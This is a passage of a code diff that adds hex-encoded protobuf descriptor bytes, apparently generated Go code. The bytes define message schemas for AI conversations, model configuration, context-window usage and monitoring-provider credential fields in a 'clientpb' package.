0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, + 0x72, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x75, 0x72, 0x65, 0x64, 0x22, 0xb9, 0x01, 0x0a, 0x0f, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x53, 0x75, 0x6d, 0x6d, 0x61, 0x72, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, + 0x76, 0x69, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, + 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x6f, 0x64, 0x65, 0x6c, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4d, 0x6f, 0x64, 0x65, 0x6c, 0x12, 0x24, 0x0a, 0x0d, 0x54, + 0x68, 0x69, 0x6e, 0x6b, 0x69, 0x6e, 0x67, 0x4c, 0x65, 0x76, 0x65, 0x6c, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0d, 0x54, 0x68, 0x69, 0x6e, 0x6b, 0x69, 0x6e, 0x67, 0x4c, 0x65, 0x76, 0x65, + 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x05, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x45, 0x72, 0x72, 0x6f, 0x72, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x22, 0x0a, + 0x0c, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x50, 0x72, 0x6f, 0x6d, 0x70, 0x74, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x50, 0x72, 0x6f, 0x6d, 0x70, + 0x74, 0x22, 0x4d, 0x0a, 0x11, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, + 0x65, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, + 0x22, 0x51, 0x0a, 0x0f, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x3e, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x22, 0xf4, 0x01, 0x0a, 0x14, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, + 0x74, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x49, 0x6e, 0x70, 0x75, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0b, 0x49, 0x6e, 0x70, 0x75, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x73, 0x12, 0x22, + 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x6f, 0x6b, 0x65, 0x6e, + 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x6f, + 0x6b, 0x65, 0x6e, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x57, + 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x13, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, + 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x73, 0x12, 0x42, 0x0a, 0x1c, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, + 0x74, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x73, 0x45, 0x73, 0x74, + 0x69, 0x6d, 0x61, 0x74, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x1c, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x78, 0x74, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x54, 0x6f, 0x6b, 0x65, 0x6e, + 0x73, 0x45, 0x73, 0x74, 0x69, 0x6d, 0x61, 0x74, 0x65, 0x64, 0x22, 0xf0, 0x04, 0x0a, 0x0e, 0x41, + 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, + 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x6f, 0x64, + 0x65, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4d, 0x6f, 0x64, 0x65, 0x6c, 0x12, + 0x14, 0x0a, 0x05, 0x54, 0x69, 0x74, 0x6c, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x54, 0x69, 0x74, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x6d, 0x6d, 0x61, 0x72, 0x79, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x75, 0x6d, 0x6d, 0x61, 0x72, 0x79, 0x12, + 0x22, 0x0a, 0x0c, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x50, 0x72, 0x6f, 0x6d, 0x70, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x50, 0x72, 0x6f, + 0x6d, 0x70, 0x74, 0x12, 0x3b, 0x0a, 0x08, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, 0x18, + 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, + 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x52, 0x08, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, + 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x75, 0x72, 0x6e, 0x49, 0x44, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x75, + 0x72, 0x6e, 0x49, 0x44, 0x12, 0x3f, 0x0a, 0x09, 0x54, 0x75, 0x72, 0x6e, 0x53, 0x74, 0x61, 0x74, + 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x54, 0x75, 0x72, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x09, 0x54, 0x75, 0x72, 0x6e, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, + 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, + 0x44, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x68, 0x69, 0x6e, 0x6b, + 0x69, 0x6e, 0x67, 0x4c, 0x65, 0x76, 0x65, 0x6c, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x54, 0x68, 0x69, 0x6e, 0x6b, 0x69, 0x6e, 0x67, 0x4c, 0x65, 0x76, 0x65, 0x6c, 0x12, 0x4e, 0x0a, + 0x12, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x55, 0x73, + 0x61, 0x67, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x57, 0x69, + 0x6e, 0x64, 0x6f, 0x77, 0x55, 0x73, 0x61, 0x67, 0x65, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x78, 0x74, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x7d, 0x0a, + 0x16, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, + 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x6f, 0x6e, 0x76, 0x65, + 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, + 0x3b, 0x0a, 0x08, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, + 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, + 0x67, 0x65, 0x52, 0x08, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, 0x22, 0xd3, 0x06, 0x0a, + 0x15, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, + 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, + 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1c, + 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x09, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x6f, + 0x64, 0x65, 0x6c, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4d, 0x6f, 0x64, 0x65, 0x6c, + 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x12, 0x0a, 0x04, + 0x52, 0x6f, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x52, 0x6f, 0x6c, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x50, 0x72, + 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x49, 0x44, 0x18, + 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x4d, + 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x6e, 0x69, + 0x73, 0x68, 0x52, 0x65, 0x61, 0x73, 0x6f, 0x6e, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, + 0x46, 0x69, 0x6e, 0x69, 0x73, 0x68, 0x52, 0x65, 0x61, 0x73, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x04, + 0x4b, 0x69, 0x6e, 0x64, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x23, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x52, + 0x04, 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x49, 0x0a, 0x0a, 0x56, 0x69, 0x73, 0x69, 0x62, 0x69, 0x6c, + 0x69, 0x74, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x56, 0x69, 0x73, 0x69, 0x62, 0x69, + 0x6c, 0x69, 0x74, 0x79, 0x52, 0x0a, 0x56, 0x69, 0x73, 0x69, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, + 0x12, 0x3a, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x54, 0x75, 0x72, 0x6e, 0x49, 0x44, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x75, + 0x72, 0x6e, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x74, 0x65, 0x6d, 0x49, 0x44, 0x18, 0x11, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x49, 0x74, 0x65, 0x6d, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, + 0x54, 0x6f, 0x6f, 0x6c, 0x43, 0x61, 0x6c, 0x6c, 0x49, 0x44, 0x18, 0x12, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x54, 0x6f, 0x6f, 0x6c, 0x43, 0x61, 0x6c, 0x6c, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, + 0x54, 0x6f, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x54, 0x6f, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x6f, 0x6c, + 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x54, 0x6f, 0x6f, 0x6c, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x1e, + 0x0a, 0x0a, 0x54, 0x6f, 0x6f, 0x6c, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x18, 0x15, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x54, 0x6f, 0x6f, 0x6c, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x1c, + 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x54, 0x65, 0x78, 0x74, 0x18, 0x16, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x54, 0x65, 0x78, 0x74, 0x12, 0x2f, 0x0a, 0x10, + 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x49, 0x6e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, + 0x18, 0x17, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x10, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, + 0x65, 0x49, 0x6e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x88, 0x01, 0x01, 0x42, 0x13, 0x0a, + 0x11, 0x5f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x49, 0x6e, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x78, 0x74, 0x22, 0xad, 0x02, 0x0a, 0x13, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x3f, 0x0a, 0x09, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x21, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, + 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x43, + 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x75, 0x72, 0x6e, 0x49, 0x44, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x75, 0x72, 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x45, + 0x72, 0x72, 0x6f, 0x72, 0x54, 0x65, 0x78, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x45, 0x72, 0x72, 0x6f, 0x72, 0x54, 0x65, 0x78, 0x74, 0x12, 0x3c, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0c, 0x43, 0x6f, 0x6e, 0x76, 0x65, + 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x07, 0x4d, 0x65, 0x73, 0x73, 0x61, + 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x52, 0x07, 0x4d, 0x65, 0x73, 0x73, 0x61, + 0x67, 0x65, 0x22, 0x51, 0x0a, 0x13, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, + 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x3a, 0x0a, 0x09, 0x70, 0x72, 0x6f, + 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, + 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x52, 0x09, 0x70, 0x72, 0x6f, 0x76, + 0x69, 0x64, 0x65, 0x72, 0x73, 0x22, 0x72, 0x0a, 0x12, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, + 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, + 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x41, 0x50, + 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x5a, 0x0a, 0x0a, 0x52, 0x65, 0x73, + 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 